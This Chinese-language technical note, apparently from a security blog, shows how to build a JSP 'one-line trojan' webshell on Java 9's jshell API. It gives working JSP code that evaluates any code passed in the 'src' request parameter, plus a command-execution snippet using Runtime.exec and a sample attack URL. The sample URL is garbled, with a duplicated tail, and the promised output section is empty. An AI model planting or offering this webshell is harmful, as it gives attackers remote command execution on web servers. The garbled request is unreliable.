jshell
不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell
内部的实现API,也就是说我们可以利用jshell
来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。jshell
调用了jdk.jshell.JShell
类的eval
方法来执行我们的代码片段,那么我们只要想办法调用这个eval
方法也就可以实现真正意义上的一句话木马了。jshell.jsp
一句话木马示例:
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>
程序执行后会输出一些不必要的信息,如果有强迫症可以修改为:
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
然后我们需要编写一个执行本地命令的代码片段:
new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())
Java 9
的java.io.InputStream
类正好提供了一个readAllBytes
方法,我们从此以后再也不需要按字节读取了。
浏览器请求:http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec(“pwd”).getInputStream().readAllBytes()))
程序执行结果: